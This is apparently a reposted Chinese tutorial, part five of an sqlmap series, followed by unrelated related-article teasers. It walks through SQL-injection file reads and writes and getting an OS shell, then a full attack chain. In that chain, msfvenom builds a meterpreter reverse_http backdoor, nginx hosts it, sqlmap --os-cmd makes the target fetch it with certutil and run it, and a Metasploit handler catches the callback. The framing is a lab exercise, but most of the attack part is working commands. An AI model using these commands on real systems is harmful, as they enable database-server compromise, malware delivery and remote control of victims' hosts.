sqlmap(五)

一、进行文件读写操作

1.1 前提条件

高权限
目录有读写权限

secure_file_priv = " "

1.2 测试目标

第一步:用抓包的方式获取请求测试站点的数据包   可以使用Burpsuite

第二步:将抓到的数据包,保存到sqlmap目录下的a.txt
第三步:进行测试

python sqlmap.py -r a.txt --purge

其他测试

测试用户
python sqlmap.py -r a.txt --current-user
python sqlmap.py -r a.txt --is-dba

1.3 进行文件读写

--file-read "文件名"

--file-write "源文件" --file-dest "目标文件"          将源文件中内容读出,然后写入到目标文件中

案例一:读取远程主机上D盘下n1.txt 中的内容

python sqlmap.py -r a.txt --file-read "d:/n1.txt"

案例二:将本地主机中,F盘下的n1.txt中的内容读取出来,写入到远程主机的D盘下的a09.php中

python sqlmap.py -r a.txt --file-write "F:/n1.txt" --file-dest "D:/a09.php"

二、获取主机shell

2.1 前提条件

  • 高权限
  • 目录有读写权限
  • secure_file_priv = " "
  • 数据库用户有读写权限

注意:

  • 仅对MySQL、MSSQL、PosgreSQL有效

2.2 基本原理

获取shell

注入攻击的最终目的就是为了获取目标主机的控制权,也就是为了获取目标主机的shell。

sqlmap能够在数据库所在服务器的操作系统上运行任意的命令

格式:

  • sqlmap -u "URL" --os-shell                 获取系统交互
  • sqlmap -u "URL" --os-cmd=命令        直接执行系统命令

执行命令的原理

  • 原理就是在执行--os-shell 或 --os-cmd=xxx的时候,会上传一个 upload 木马后,再上传一个cmd shell
  • 当 --os-shell 退出后,会调用后门脚本删除上传文件后,进行自删除
  • 在MySQL和PostgreSQL中,sqlmap可以上传一个包含两个用户自定义函数,分别为sys_exec()和sys_eval() 的共享库(二进制文件),然后在数据库中创建出两个对应函数,并调用对应函数执行特定的命令,并允许用户选择是否打印出相关命令执行的结果。
  • 在Microsoft SQL Server 中,sqlmap 会利用 xp_cmdshell 存储过程:如果该存储过程被关闭了(Microsoft SQL Server 的2005及以上版本默认关闭),sqlmap则会将其重新打开;如果该存储过程不存在,sqlmap则会重新创建它,当用户请求标准输出,sqlmap将使用任何可用的SQL注入技术(盲注、带内注入、报错型注入)去获取对应结果。相反,如果无需标准输出对应结果,sqlmap则会使用堆叠查询注入(Stacked queries)技术执行相关的命令。
  • 如果堆叠查询没有被Web应用识别出来,并且 DBMS 为MySQL,加入后端DBMS和Web服务器在同一台服务器上,则仍可以通过利用SELECT 语句中的INTO OUTFILE,在根目录可写目录中写shell。

2.3 获取shell

说明

目标网站在Win10虚拟机中

禁用了secure_file_priv

操作步骤

也可以直接执行命令

python sqlmap.py -r 2.txt --os-cmd=ipconfig

注意:

这里所执行的命令,可以是任意命令,比如下载命令,因此可以控制远程主机下载恶意程序

2.4 联合msf

msf的简单介绍

后渗透工具

用于实现内网渗透和提权

基本思路

第一步:基于msf生成后门程序

第二步:将后门程序上传到目标主机可以访问的服务器之上【云主机】

第三步:在目标主机上进行远程下载,将后面程序下载到目标主机

实现流程

打开kali

1、启动msf

msfconsole

2、创建后门

msfvenom -p windows/meterpreter/reverse_http lhost=172.16.100.222 lport=5050 -f exe -o sql.exe
  • lhost=172.16.100.222         后门服务端地址【kali地址】
  • lport=5050                           后门服务端端口【kali端口】
  • -f exe                                   生成后门文件类型是exe文件
  • -o sql.exe                            指定生成的后门文件名

3、服务端开始监听反弹链接信息【kali中】

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set lhost 0.0.0.0
msf6 exploit(multi/handler) > set lport 5050
msf6 exploit(multi/handler) > run[*] Started HTTP reverse handler on http://0.0.0.0:5050   #看到此信息,说明已经开始监听

4、将生成的后门文件放到目标主机可以访问的服务器上

在真实环境中,可以购买一个云主机,本例中,直接在kali中安装了一个nginx作为服务器就可以,然后将生成sql.exe放到nginx的网站跟目录中即可

apt-get install nginx
systemctl enable nginx
systemctl start nginx
lsof -i :80cd /var/www/html
echo "<h1>Hello Word</h1>" >index.html

将做好的sql.exe放到网站根目录
mv sql.exe /var/www/html/

5、在目标主机上执行名

通过sql注入漏洞,在目标主机上执行下载命令,下载sql.exe

python sqlmap.py -r 2.txt --of-cmd="certutil -urlcache -sqlit -f http://172.16.100.222/sql.exe c:/sql.exe"

然后再在目标主机上执行这个后门程序

python sqlmap.py -r 2.txt --os-cmd="c:/sql.exe"

一旦这个程序被运行,就会主动连接外部的172.16.100.222的5050端口

此时,在msf上会发现目标主机上线了 

可以执行命令看看

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/796281.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

FPGA和ARM学习那个比较好

FPGA和ARM是两种不同的技术&#xff0c;具有不同的应用领域和学习难度。以下是对两者进行比较的一些建议&#xff1a; 1. 应用领域&#xff1a;FPGA主要用于数字电路设计和硬件加速器开发&#xff0c;可在实时系统、信号处理、嵌入式系统等方面发挥重要作用。ARM则是一种处理器…

C++的vector类(二):vector类的实际OJ应用

1、只出现一次的数字 2、杨辉三角 3、删除有序数组中的重复项 4、只出现一次的数字 II 5、只出现一次的数字 III 6、数组中出现次数超过一半的数字 7、电话号码的字母组合 ~over~

从FasterTransformer源码解读开始了解大模型(1.1)一个decoder-only的模型长啥样

从FasterTransformer源码解读开始了解大模型&#xff08;1.1&#xff09;一个decoder-only的模型长啥样 写在前面的话 对于一个没有接触过LLM的初学者来说&#xff0c;如果想要了解一个大模型的推理框架&#xff0c;首先应该知道大模型整个的工作原理是怎样的&#xff0c;知道…

了解自动化机器学习 AutoML

&#x1f349; CSDN 叶庭云&#xff1a;https://yetingyun.blog.csdn.net/ 自动化机器学习&#xff08;AutoML&#xff09;概述 自动化机器学习&#xff08;AutoML&#xff09;旨在自动化机器学习模型的开发流程&#xff0c;通过简化或去除需要专业知识的复杂步骤&#xff0c;…

CSS面试题常用知识总结day03

大家好我是没钱的君子下流坯&#xff0c;用自己的话解释自己的知识 前端行业下坡路&#xff0c;甚至可说前端已死&#xff0c;我还想在前段行业在干下去&#xff0c;所以从新开始储备自己的知识。 从CSS——>Javascript——>VUE2——>Vuex、VueRouter、webpack——>…

Stale Diffusion、Drag Your Noise、PhysReaction、CityGaussian

本文首发于公众号&#xff1a;机器感知 Stale Diffusion、Drag Your Noise、PhysReaction、CityGaussian Drag Your Noise: Interactive Point-based Editing via Diffusion Semantic Propagation Point-based interactive editing serves as an essential tool to compleme…

vite打包失败 - out of memory

在做项目时&#xff0c;随着需求的不断增加&#xff0c;我们的代码文件会越来越大&#xff0c;但是在打包时&#xff0c;在 Node 中通过 JavaScript 使用内存的大小却是有限制的。于是&#xff0c;今天打算部署代码时&#xff0c;报错了: <--- JS stacktrace ---> JS st…

Nuxt 3 项目中配置 Tailwind CSS

官方文档&#xff1a;https://www.tailwindcss.cn/docs/guides/nuxtjs#standard 安装 Tailwind CSS 及其相关依赖 执行如下命令&#xff0c;在 Nuxt 项目中安装 Tailwind CSS 及其相关依赖 npm install -D tailwindcss postcss autoprefixerpnpm install -D tailwindcss post…

VUE必知必会

一、简介 Vue.js是一个流行的JavaScript框架&#xff0c;用于构建用户界面和单页应用程序&#xff08;SPA&#xff09;。自2014年由前Google工程师尤雨溪发布以来&#xff0c;Vue迅速获得了广泛的关注和使用&#xff0c;特别是在前端开发领域。 核心特性 响应式数据绑定&#…

【cpp】快速排序优化

标题&#xff1a;【cpp】快速排序 水墨不写bug 正文开始&#xff1a; 快速排序的局限性&#xff1a; 虽然快速排序是一种高效的排序算法&#xff0c;但也存在一些局限性&#xff1a; 最坏情况下的时间复杂度&#xff1a;如果选择的基准元素不合适&#xff0c;或者数组中存在大…

vue基本写法

<p style"margin-left:.0001pt;text-align:justify;">Vue.js 是一种流行的 JavaScript 框架&#xff0c;用于构建用户界面。下面是 Vue.js 的一些标准写法和最佳实践:</p> 1. Vue 实例&#xff1a; 创建 Vue 实例时&#xff0c;可以指定一些选项来定义应…

Netty 3 - 组件和设计

这里将回顾我们之前章节讲到过的主要概念和组件。 1 Channel 、EventLoop和ChannelFuture Channel —— Socket;EventLoop —— 控制流、多线程处理、并发;ChannelFuture —— 异步通知。 1.1 Channel 接口 基本的I/O操作&#xff08;bind()、connect()、read()和write()&a…

【嵌入式开发 Linux 常用命令系列 4.3 -- git add 不 add untracked file】

请阅读【嵌入式开发学习必备专栏 】 文章目录 git add 不add untracked file git add 不add untracked file 如果你想要Git在执行git add .时不添加未跟踪的文件&#xff08;untracked files&#xff09;&#xff0c;你可以使用以下命令&#xff1a; git add -u这个命令只会加…

boost共享内存使用(3)managed_shared_memory共享内存分配器

文章目录 概述使用示例 概述 Boost.Interprocess提供了一些基本的类来创建共享内存对象和文件映射&#xff0c;并将这些可映射的类映射到进程的地址空间中。 然而&#xff0c;管理这些内存段对于非平凡的任务来说并不容易。一个映射区域是一个固定长度的内存缓冲区&#xff0…

免注册,ChatGPT可即时访问了!

AI又有啥进展&#xff1f;一起看看吧 Apple进军个人家用机器人 Apple在放弃自动驾驶汽车项目并推出混合现实头显后&#xff0c;正在进军个人机器人领域&#xff0c;处于开发家用环境机器人的早期阶段 报告中提到了两种可能的机器人设计。一种是移动机器人&#xff0c;可以跟…

鸿蒙OS元服务开发:【(Stage模型)学习窗口沉浸式能力】

一、体验窗口沉浸式能力说明 在看视频、玩游戏等场景下&#xff0c;用户往往希望隐藏状态栏、导航栏等不必要的系统窗口&#xff0c;从而获得更佳的沉浸式体验。此时可以借助窗口沉浸式能力&#xff08;窗口沉浸式能力都是针对应用主窗口而言的&#xff09;&#xff0c;达到预…

二叉堆解读

在数据结构和算法中&#xff0c;二叉堆是一种非常重要的数据结构&#xff0c;它被广泛用于实现优先队列、堆排序等场景。本文将介绍二叉堆的基本概念、性质、操作以及应用场景。 一、基本概念 二叉堆是一种特殊的完全二叉树&#xff0c;它满足堆性质&#xff1a;对于每个节点…

练习题(2024/4/3)

1题目描述&#xff1a; 给定两个大小分别为 m 和 n 的正序&#xff08;从小到大&#xff09;数组 nums1 和 nums2。请你找出并返回这两个正序数组的 中位数 。 算法的时间复杂度应该为 O(log (mn)) 。 示例 1&#xff1a; 输入&#xff1a;nums1 [1,3], nums2 [2] 输出&…

Redis Hash结构操作

基础篇Redis 6.4 Hash结构操作 在基础篇的最后&#xff0c;咱们对Hash结构操作一下&#xff0c;收一个小尾巴&#xff0c;这个代码咱们就不再解释啦 马上就开始新的篇章~~~进入到我们的Redis实战篇 SpringBootTest class RedisStringTests {Autowiredprivate StringRedisTe…

电子商务平台中大数据的应用|主流电商平台大数据采集API接口

(一)电商平台物流管理中大数据的应用 电商平台订单详情订单列表物流信息API接口应用 电子商务企业对射频识别设备、条形码扫描设备、全球定位系统及销售网站、交通、库存等管理软件数据进行实时或近实时的分析研究,提高物流速度和准确性。部分电商平台已建立高效的物流配送网…